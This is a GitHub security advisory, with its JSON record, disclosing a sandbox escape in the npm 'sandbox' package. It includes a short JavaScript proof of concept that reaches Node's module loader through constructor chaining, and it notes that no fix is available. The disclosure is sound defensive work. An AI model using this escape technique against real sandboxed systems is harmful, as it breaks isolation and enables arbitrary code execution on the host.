ghsa-fm4j-4xhm-xpwx
Vulnerability from github
Published
2020-09-02 15:51
Modified
2020-08-31 18:34
Summary
Sandbox Breakout / Arbitrary Code Execution in sandbox
Details

All versions of sandbox are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.

Proof of concept

var Sandbox = require("sandbox") s = new Sandbox() code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")` s.run(code)

Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "sandbox"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:34:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "All versions of `sandbox` are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.\n\n## Proof of concept\n```\nvar Sandbox = require(\"sandbox\")\ns = new Sandbox()\ncode = `new Function(\"return (this.constructor.constructor(\u0027return (this.process.mainModule.constructor._load)\u0027)())\")()(\"util\").inspect(\"hi\")`\ns.run(code)\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.",
  "id": "GHSA-fm4j-4xhm-xpwx",
  "modified": "2020-08-31T18:34:58Z",
  "published": "2020-09-02T15:51:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gf3/sandbox/issues/50"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/766"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Sandbox Breakout / Arbitrary Code Execution in sandbox"
}


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